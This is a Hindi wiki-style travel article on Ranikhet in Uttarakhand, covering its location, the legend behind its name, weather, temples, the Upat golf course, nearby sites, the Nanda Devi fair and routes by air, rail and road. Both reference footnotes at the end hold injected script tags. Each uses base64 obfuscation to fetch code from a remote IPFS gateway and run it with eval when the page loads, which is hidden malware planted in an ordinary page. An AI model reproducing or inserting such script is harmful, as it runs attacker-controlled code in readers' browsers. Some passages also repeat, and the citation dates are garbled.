रानीखेत जाने के लिए आपके पास बहुत से विकल्प हैं। जैसे हवाई, रेल या सड़क मार्ग से। सबसे नजदीक एयरपोर्ट है पंतनगर, जहां से 119 किलोमीटर दूर है रानीखेत। आप चाहें तो ट्रेन से भी जा  सकते हैं। रानीखेत की सड़कें कई जगहों से जुड़ी हैं। लिहाजा सड़क परिवहन सबसे बेहतर विकल्प है। निकटम रेलवे स्टेशन काठगोदाम हैं।  रानीखेत जाने व घूमने के लिए ठंड और बरसात का समय ठीक नहीं रहता। अत: बेहतर होगा कि आप वहां अप्रैल के प्रारंभ से जून के मध्य या सितंबर के मध्य से नवंबर के मध्य तक के समय में ही जाएं। अगर आप हवाई जहाज से जाना चाहते हैं, तो पंतनगर के हवाई हड्डे पर उतरना पड़ेगा, क्योंकि यहां का भी निकटतम हवाई अड्डा वही हैं। वहां से रानीखेत की 119 किलोमीटर की दूरी टैक्सी वगैरह से तय करनी पड़ेगी। अगर आप रेलगाड़ी से यात्रा करना चाहते हैं, तो काठगोदाम स्टेशन तक जा सकते हैं, क्योंकि रानीखेत का निकटतम रेलवे स्टेशन वही हैं। वहां से रानीखेत की 84 किलोमीटर की दूरी परिवहन निगम की बस या टैक्सी से तय की जा सकती हैं।
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आप चाहें तो रेल मार्ग से भी जा सकते हैं। निकटतम रेलवे स्टेशन काठगोदाम हैं।
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रानीखेत की सड़कें कई जगहों से जुड़ी हैं। लिहाजा सड़क परिवहन सबसे बेहतर विकल्प है।
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11:45, 16 जुलाई 2017 के समय का अवतरण

रानीखेत
रानीखेत का एक दृश्य
विवरण देवदार और बलूत के वृक्षों से घिरा रानीखेत बहुत ही रमणीक एक लघु पहाड़ी पर्यटन स्थल है।
राज्य उत्तराखण्ड
ज़िला अल्मोड़ा
भौगोलिक स्थिति 29.65° उत्तर 79.42° पूर्व
मार्ग स्थिति रानीखेत की दूरी नैनीताल से 63 किमी, अल्मोड़ा से 50 किमी, कौसानी से 85 किमी और काठगोदाम से 80 किमी हैं।
मौसम गर्मी के दिनों में मौसम सामान्य, जुलाई से लेकर सितम्बर तक का मौसम बरसात का और फिर नवंबर से फरवरी तक बर्फबारी और ठंड वाला होता है।
कब जाएँ अप्रैल के प्रारंभ से जून के मध्य या सितंबर के मध्य से नवंबर के मध्य तक
हवाई अड्डा पंतनगर हवाई अड्डा
रेलवे स्टेशन काठगोदाम रेलवे स्टेशन
यातायात रेल, बस, टैक्सी
क्या देखें माँ कलिका मंदिर, गोल्फ़ कोर्स, चौबटिया गार्डन, बिन्सर महादेव मंदिर, कटारमल सूर्य मन्दिर
Map-icon.gif गूगल मानचित्र
भाषा कुमांऊनी और हिन्दी
अन्य जानकारी अंग्रेज़ों के शासनकाल में सैनिकों की छावनी के लिए इस क्षेत्र का विकास किया गया। क्योंकि रानीखेत कुमाऊं रेजिमेन्ट का मुख्यालय है, इसलिए यह पूरा क्षेत्र काफ़ी साफ-सुथरा रहता है।

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रानीखेत उत्तराखंड राज्य के अल्मोड़ा ज़िले के अंतर्गत एक पहाड़ी पर्यटन स्थल है। देवदार और बलूत के वृक्षों से घिरा रानीखेत बहुत ही रमणीक एक लघु हिल स्टेशन है। काठगोदाम रेलवे स्टेशन से 85 किमी. की दूरी पर स्थित यह अच्छी पक्की सड़क से जुड़ा है। इस स्थान से हिमाच्छादित मध्य हिमालयी श्रेणियाँ स्पष्ट देखी जा सकती हैं। प्रकृति प्रेमियों का स्वर्ग रानीखेत समुद्र तल से 1824 मीटर की ऊंचाई पर स्थित एक छोटा लेकिन बेहद खूबसूरत हिल स्टेशन है। छावनी का यह शहर अपने पुराने मंदिरों के लिए मशहूर है। उत्तराखंड की कुमाऊं की पहाड़ियों के आंचल में बसा रानीखेत फ़िल्म निर्माताओं को भी बहुत पसन्द आता है। यहां दूर-दूर तक रजत मंडित सदृश हिमाच्छादित गगनचुंबी पर्वत, सुंदर घाटियां, चीड़ और देवदार के ऊंचे-ऊंचे पेड़, घना जंगल, फलों लताओं से ढके संकरे रास्ते, टेढ़ी-मेढ़ी जलधारा, सुंदर वास्तु कला वाले प्राचीन मंदिर, ऊंची उड़ान भर रहे तरह-तरह के पक्षी और शहरी कोलाहल तथा प्रदूषण से दूर ग्रामीण परिवेश का अद्भुत सौंदर्य आकर्षण का केन्द्र है।[1] रानीखेत से सुविधापूर्वक भ्रमण के लिए पिण्डारी ग्लेशियर, कौसानी, चौबटिया और कालिका पहुँचा जा सकता है। चौबटिया में प्रदेश सरकार के फलों के उद्यान हैं। इस पर्वतीय नगरी का मुख्य आकर्षण यहाँ विराजती नैसर्गिक शान्ति है।

स्थिति

रानीखेत, उत्तराखंड राज्य के अल्मोड़ा ज़िले में है। रानीखेत समुद्र तल से 1824 मीटर की ऊंचाई पर स्थित एक छोटा लेकिन बेहद खूबसूरत हिल स्टेशन है। रानीखेत कुमाऊँ के अल्मोड़ा ज़िला के अंतर्गत आने वाला एक छोटा पर एक सुन्दर पर्वतीय नगर हैं। रानीखेत में ज़िले की सबसे बड़ी सेना की छावनी स्थापित हैं, जहाँ सैनिकों को प्रशिक्षित किया जाता हैं। रानीखेत की दूरी नैनीताल से 63 किमी, अल्मोड़ा से 50 किमी, कौसानी से 85 किमी और काठगोदाम से 80 किमी हैं। मनोरम पर्वतीय स्थल रानीखेत लगभग 25 वर्ग किलोमीटर में फैला है। कुमाऊं क्षेत्र में पड़ने वाले इस स्थान से लगभग 400 किलोमीटर लंबी हिमाच्छादित पर्वत-श्रृंखला का ज़्यादातर भाग दिखता हैं। इन पर्वतों की चोटियां सुबह-दोपहर-शाम अलग-अलग रंग की मालूम पड़ती हैं। 

नामकरण

एक किवदंती के अनुसार रानीखेत का नाम रानी पद्मिनी के कारण पड़ा। रानी पद्मिनी राजा सुखदेव की पत्नी थीं, जो वहां के राज्य के शासक थे। रानीखेत की सुंदरता देख राजा और रानी बेहद प्रभावित हुए और उन्होंने वहीं रहने का फैसला कर किया। रानीखेत के कई इलाकों पर कुमांऊनी का शासन था पर बाद में यह ब्रिटिश शासकों के हाथ में चला गया। अंग्रेजों ने रानीखेत को छुट्टियों में मौज-मस्ती के लिए हिल स्टेशन के रूप में विकसित किया और 1869 में यहां कई छावनियां बनवाईं जो अब 'कुमांऊ रेजीमेंटल सेंटर' है। इस पूरे क्षेत्र की मोहक सुंदरता का अनुमान कभी नीदरलैण्ड के राजदूत रहे वान पैलेन्ट के इस कथन से लगाया जा सकता है- जिसने रानीखेत को नहीं देखा, उसने भारत को नहीं देखा। कहा जाता है कि सैकड़ों वर्ष पहले कोई रानी अपनी यात्रा पर निकली हुई थीं। इस क्षेत्र से गुजरते समय वह यहां के प्राकृतिक सौंदर्य से मोहित होकर रात्रि-विश्राम के लिए रुकीं। बाद में उन्हें यह स्थान इतना अच्छा लगा कि उन्होंने यहीं पर अपना स्थायी निवास बना लिया। चूंकि तब इस स्थान पर छोटे-छोटे खेत थे, इसलिए इस स्थान का नाम 'रानीखेत' पड़ गया। अंग्रेज़ों के शासनकाल में सैनिकों की छावनी के लिए इस क्षेत्र का विकास किया गया। क्योंकि रानीखेत कुमाऊं रेजिमेन्ट का मुख्यालय है, इसलिए यह पूरा क्षेत्र काफ़ी साफ-सुथरा रहता है। यहां का बाज़ार तो अद्भुत है। पहाड़ के उतार (यानी खड़ी चढ़ाई) पर बना हुआ। इसलिए इसे 'खड़ा बाज़ार' कहा जाता है।[2]

मौसम

रानीखेत में गर्मी के दिनों में मौसम सामान्य, जुलाई से लेकर सितम्बर तक का मौसम बरसात का और फिर नवंबर से फरवरी तक बर्फबारी और ठंड वाला होता है। रानीखेत का हर मौसम घूमने का आनंद देता है। वैसे तो रानीखेत साल में कभी भी जा सकते हैं लेकिन सबसे अच्छा समय है मार्च से जून तक का होता है। अगर आप ठंड में जाना चाहें तो सितम्बर से नवंबर के बीच जाएं, जब वहां का मौसम सबसे बढ़िया होता है।

भाषा

रानीखेत में मुख्यतः दो भाषाएं बोली जाती हैं-

  1. कुमांऊनी
  2. हिन्दी

पर्यटन

रानीखेत की सुंदरता को शब्दों में बयान नहीं किया जा सकता है। दूर-दूर तक फैली घाटियां, घने जंगलों में सरसराते चीड़ के पेड़ यहां की सुंदरता में चार चांद लगते हैं। दुनिया भर से हर साल लाखों की संख्या में सैलानी यहां  मौज-मस्ती करने के लिए आते हैं। रानीखेत से 6 किलोमीटर की दूरी पर गोल्फ का विशाल मैदान है। उसके पास ही कलिका में कालीदेवी का प्रसिद्ध मंदिर भी है। द्वाराहाट के पास ही 65 मंदिर बने हुए हैं, जो कि तत्कालीन कला के बेजोड़ नमूनों के रुप में विख्यात हैं। बद्रीकेदार मंदिर, गूजरदेव का कलात्मक मंदिर, दूनागिरि मंदिर, पाषाण मंदिर और बावड़िया यहां के प्रसिद्ध मंदिर हैं। द्वाराहाट से 14 किलोमीटर की दूरी पर दूनागिरी मंदिर है। यहां से आप बर्फ से ढकी चोटियों को देख सकते हैं। दूनागिरी में चोटी पर दुर्गाजी समेत कई अन्य मंदिर भी हैं, जहां पर आसपास के लोग बड़ी संख्या में आते हैं। इसके कुछ ही दूरी पर शीतलाखेत है, जो पर्यटक गांव के नाम से जाना जाता है। यहां की खूबसूरती देखते ही बनती है। यहां पर दिखने वाले खूबसूरत नज़ारे पर्यटकों को खूब भाते हैं। रानीखेत से लगभग सात किलोमीटर दूरी पर है- कलिका मंदिर। यहां माँ काली की पूजा की जाती है। यहां पर पौधों की बहुत ही बढ़िया नर्सरी भी हैं। ऊपर में गोल्फ कोर्स है और उसके पीछे बर्फ से ढंका हुआ पहाड़ बहुत ही मनोरम दृश्य प्रस्तुत करता है। रानीखेत में इसके अलावा और भी मनोरम स्थल है। यहां का बालू बांध मछली पकड़ने के लिए प्रसिद्ध है। रानीखेत से थोड़ी-थोड़ी दूरी पर भ्रमण करने की भी कई जगह हैं जैसे अल्मोड़ा जहां हिमालय पहाड़ों का सुंदर दृश्य मन को मोह लेता है। रानीखेत का चौबटिया गार्डन पर्यटकों की पहली पसंद है। इसके अलावा यहां का सरकारी उद्यान और फल अनुसंधान केंद्र भी देखे जा सकता है। इनके पास में ही एक वाटर फॉल भी है। कम भीड़-भाड़ और शान्त माहौल रानीखेत को और भी ख़ास बना देता है।

प्रमुख दर्शनीय स्थल

अन्य दर्शनीय स्थल

रानीखेत में कई दर्शनीय स्थल हैं, जिनमें से प्रमुख निम्नलिखित हैं- 

उपत

रानीखेत में शहर से 5 किलोमीटर दूर (अल्मोड़ा जाने वाले रास्ते में) चीड़ के घने जंगल के बीच (6000 फुट की ऊंचाई पर) उपत नामक स्थान पर एक विश्व प्रसिद्ध गोल्फ मैदान है। यहां प्राय: फ़िल्मों की शूटिंग होती रहती है। कोमल हरी घास का यह सुंदर मैदान नौ छेदों वाला हैं। ऐसा मैदान बहुत कम देखने को मिलता है। यहां खिलाड़ियों के रहने के लिए एक सुंदर बंगला बना हुआ है, जहां से दूर तक फैले हिमाच्छादित पर्वतों को देखना बहुत ही अच्छा लगता हैं।

हरबेरियम

प्रसिद्ध वनस्पति-शास्त्री राम जी लाल द्वारा स्थापित इस हरबेरियम (वनस्पति संग्रहायल) में तरह-तरह की वनस्पतियों व जड़ी-बूटियों का अद्भुत संग्रह प्रदर्शनार्थ रखा गया हैं। पूरे भारत में यह अपनी तरह का एक अलग हरबेरियम हैं।

द्वाराहाट

रानीखेत से 38 किलोमीटर दूर स्थित यह स्थान ऐतिहासिक कारणों से अधिक महत्वपूर्ण हैं। सैकड़ों वर्ष पूर्व यहां पर जिस कत्यूरी राजवंश का शासन था। उनके राजाओं द्वारा बनवाए गए 55 मंदिर यहां पर हैं। इनकी वास्तुकला और स्थापत्य कला देखने लायक हैं। वैसे, यहां का प्राकृतिक सौंदर्य भी मोहित करता है।

शीतलाखेत

रानीखेत से 35 किलोमीटर दूर स्थित यह स्थान अब एक अच्छे पर्यटन-स्थल के रूप में विकसित हो रहा हैं। यहां से हिमाच्छादित के सुंदर दृश्यों को देखना बहुत ही अच्छा लगता हैं। ऊंचाई पर स्थित होने के कारण यहां से नीचे का नज़ारा अत्यंत लुभावना दिखता हैं।

मजखली

रानीखेत से 13 किमी. की दूरी पर स्थित मजखली में पर्यटक हिमालय को नजदीक से देखने के लिए जाते हैं। 26500 फीट ऊंचा त्रिशूल पर्वत यहां से टॉवर के समान प्रतीत होता है।

सुरईखेत

द्वाराहाट से 15 किलोमीटर दूर यह स्थान एक सुंदर मैदान के कारण अधिक लोकप्रिय है, जो एक पहाड़ के शिखर पर स्थित हैं। यहां से द्वाराहाट, त्रिशूल, पांडुखोली, दूनागिरि आदि पहाड़ों के मनोरम रूप-रंग को देखा जा सकता हैं।[2]

नंदा देवी मेला

नंदा देवी मेला रानीखेत का सबसे बड़ा धार्मिक और सांस्कृतिक मेला है। इसे देखने दूर-दूर से लोग आते हैं। इसकी शुरुआत सोलहवीं शताब्दी में राजा कल्याण चंद ने की थी। सितम्बर के समय लगने वाला यह मेला देवी नंदा और सुनंदा को समर्पित होता है। यह मेला कई जगह लगाया जाता हैं जैसे अल्मोड़ा, नैनीताल, दांडीधारा और रानीखेत। इसमें सबसे ज्यादा प्रसिद्ध मेला अल्मोड़ा और रूपकुंड का होता हैं।

कैसे जाएं

काठगोदाम रेलवे स्टेशन यहां से 85 किलोमिटर की दूरी पर हैं। रानीखेत दिल्ली से 279 किलोमीटर की दूरी पर है। एक बार अल्मोड़ा पहुंच कर आपको रानीखेत के लिए सीधे बस सेवा मिल जाएगी। रानीखेत जाने के लिए आपके पास बहुत से विकल्प हैं। जैसे हवाई, रेल या सड़क मार्ग से। अगर आप हवाई जहाज से जाना चाहते हैं, तो पंतनगर के हवाई हड्डे पर उतरना पड़ेगा, क्योंकि यहां का भी निकटतम हवाई अड्डा वही हैं। वहां से रानीखेत की 119 किलोमीटर की दूरी टैक्सी वगैरह से तय करनी पड़ेगी। अगर आप रेलगाड़ी से यात्रा करना चाहते हैं, तो काठगोदाम स्टेशन तक जा सकते हैं, क्योंकि रानीखेत का निकटतम रेलवे स्टेशन वही हैं। वहां से रानीखेत की 84 किलोमीटर की दूरी परिवहन निगम की बस या टैक्सी से तय की जा सकती हैं।

हवाई मार्ग

पंतनगर सबसे नजदीक हवाई अड्डा है, जहां से रानीखेत119 किलोमीटर दूर है।

रेल मार्ग

आप चाहें तो रेल मार्ग से भी जा सकते हैं। निकटतम रेलवे स्टेशन काठगोदाम हैं।

सड़क मार्ग

रानीखेत की सड़कें कई जगहों से जुड़ी हैं। लिहाजा सड़क परिवहन सबसे बेहतर विकल्प है।

कब जाएँ

रानीखेत जाने व घूमने के लिए ठंड और बरसात का समय ठीक नहीं रहता। अत: बेहतर होगा कि आप वहां अप्रैल के प्रारंभ से जून के मध्य या सितंबर के मध्य से नवंबर के मध्य तक के समय में ही जाएं।


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विथिका


टीका टिप्पणी और संदर्भ

  1. रानीखेत (हिंदी) यात्रा सलाह डॉट कॉम। अभिगमन तिथि: 1 नवम्बर, 20133।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. 2.0 2.1 अनुपम है रानीखेत (हिंदी) देशबंधु। अभिगमन तिथि: 1 नवम्बर, 20133।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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